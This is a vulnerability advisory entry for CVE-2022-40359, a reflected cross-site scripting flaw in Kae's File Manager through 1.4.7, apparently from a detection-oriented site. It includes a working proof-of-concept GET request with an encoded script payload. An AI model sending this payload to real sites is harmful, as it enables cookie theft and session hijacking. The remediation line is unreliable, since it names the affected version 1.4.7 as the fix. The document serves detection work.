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CVE-2022-40359: Kae's File Manager <=1.4.7 - Cross-Site Scripting

TitleKae's File Manager <=1.4.7 - Cross-Site Scripting
Authoredoardottt,daffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version of Kae's File Manager plugin (1.4.7) or apply the vendor-provided patch to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.12355
CVE IDCVE-2022-40359
CWE IDCWE-79
Tags cve cve2022 xss kfm kfm_project vuln

🔍 Vulnerability Description

Kae’s File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks

🌐 HTTP Request

GET /kfm/index.php/%27%3Cscript%3Ealert%28document.domain%29;%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40359.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-40359.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A